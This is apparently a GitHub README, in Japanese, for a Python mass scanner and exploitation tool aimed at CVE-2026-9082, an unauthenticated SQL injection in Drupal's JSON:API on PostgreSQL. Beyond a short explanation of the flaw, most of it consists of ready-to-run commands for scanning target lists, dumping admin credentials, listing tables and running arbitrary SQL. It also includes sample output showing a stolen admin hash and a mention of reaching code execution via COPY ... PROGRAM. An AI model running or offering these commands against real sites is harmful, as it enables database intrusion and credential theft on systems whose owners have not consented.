
スキャナー: CVE-2026-9082 Drupal PostgreSQL JSON:API経由のSQLi — 認証なしSQLiからRCEに至るPythonスキャナー (CISA KEV)
Drupal Core における未認証SQLインジェクション(PostgreSQL)
PDOプレースホルダー名の悪用による JSON:API フィルター配列キーインジェクション
CVE-2026-9082 は、Drupal 8.0 から 11.3.9 を実行している PostgreSQL バックエンドのすべてのサイトに影響を与える、Drupal Core の**重大(Highly Critical)**なSQLインジェクション脆弱性です。2026-05-22 に CISA Known Exploited Vulnerabilities(KEV)カタログに追加されました — 実環境で活発に悪用されています。
| 深刻度 | CVSS | 認証の要否 | 攻撃ベクトル |
|---|---|---|---|
| Critical | 9.8+ | 不要 | HTTP (JSON:API) |
pg_exec() または COPY ... PROGRAM 経由| ステータス | バージョン |
|---|---|
| ❌ 脆弱 | Drupal 8.0.0 → 11.3.9(PostgreSQL バックエンド) |
| ✅ 修正済み | 11.3.10, 11.2.12, 10.6.9, 10.5.10 |
この欠陥は core/modules/pgsql/src/EntityQuery/Condition.php に存在します。translateCondition() メソッドは、JSON:API のフィルターパラメータから得られるユーザー制御の配列キーを使用して PDO プレースホルダー名を構築します。PDO はプレースホルダー名として [a-zA-Z0-9_] のみを解析するため、) より後の任意のサフィックスはクエリに注入されるリテラルSQLになります。
JSON:API Filter → array key with SQL → PDO placeholder truncation → SQL injection
pg_sleep() によるブラインドSQLインジェクションの確認pip(Python パッケージマネージャー)# Clone the repo
git clone https://github.com/ridhinva/CVE-2026-9082.git
cd CVE-2026-9082
# Install requirements
pip install requests
これだけです!依存関係は requests のみです。
python3 cve_2026_9082_scanner.py -u https://target.com --check
python3 cve_2026_9082_scanner.py -f targets.txt
targets.txt の形式:
https://target1.com
target2.com
192.168.1.100
python3 cve_2026_9082_scanner.py -u https://target.com --version
python3 cve_2026_9082_scanner.py -u https://target.com --dbinfo
python3 cve_2026_9082_scanner.py -u https://target.com --admin
python3 cve_2026_9082_scanner.py -u https://target.com --tables
python3 cve_2026_9082_scanner.py -u https://target.com --query "SELECT usename FROM pg_catalog.pg_user"
python3 cve_2026_9082_scanner.py -f targets.txt -o results.txt
python3 cve_2026_9082_scanner.py -u https://target.com --check --proxy http://127.0.0.1:8080
# Increase sleep time for time-based detection (default: 5s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --delay 10
# Increase HTTP timeout for slow targets (default: 30s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --timeout 60
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-9082 - Drupal PostgreSQL SQLi ║
║ Mass Scanner + Exploitation Tool v1.0.0 ║
╚══════════════════════════════════════════════════════════════╝
CISA KEV: Added 2026-05-22 | Advisory: SA-CORE-2026-004
[*] Checking: https://vulnerable-drupal-site.com
[!!] VULNERABLE - https://vulnerable-drupal-site.com
Method: time-based (+5.2s)
Resource: node/article
[+] username: admin
[+] email: [email protected]
[+] pass_hash: $S$E8gJ8yJ8...hashed_password...
このツールは、許可されたセキュリティテスト、教育目的、および倫理的な研究のみを対象としています。
コンピュータシステムへの無許可アクセスは違法です。著者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についても責任を負いません。
Ridhin V A (@ridhinva) — バグバウンティハンター&セキュリティリサーチャー
CISA KEV が実環境で悪用されていると発表したため作成されました。Drupal サイトにパッチを適用してください。
| フラグ | 説明 |
|---|
-u, --url | 単一ターゲットのURL |
-f, --file | ターゲット一覧のファイル(1行に1つ) |
-o, --output | スキャン結果をファイルに保存 |
--check | ターゲットが脆弱かどうかをチェック |
--version | PostgreSQL のバージョンを抽出 |
--dbinfo | DBユーザーとデータベース名を抽出 |
--admin | Drupal 管理者の認証情報を抽出(uid=1) |
--tables | すべてのデータベーステーブルを一覧表示 |
--query | カスタムSQL抽出クエリ |
--threads | マススキャンのスレッド数(デフォルト: 20) |
--timeout | HTTPリクエストのタイムアウト(デフォルト: 30秒) |
--delay | 検出用の pg_sleep 遅延(デフォルト: 5秒) |
--no-ssl-verify | TLS証明書の検証をスキップ |
--proxy | HTTPプロキシ(例: http://127.0.0.1:8080) |
| 情報源 | リンク |
|---|
| Drupal アドバイザリ | SA-CORE-2026-004 |
| CISA KEV | CVE-2026-9082 |
| パッチコミット | ea9524d9 |
| NVD エントリ | CVE-2026-9082 |
| 発見者 | Michael Maturi |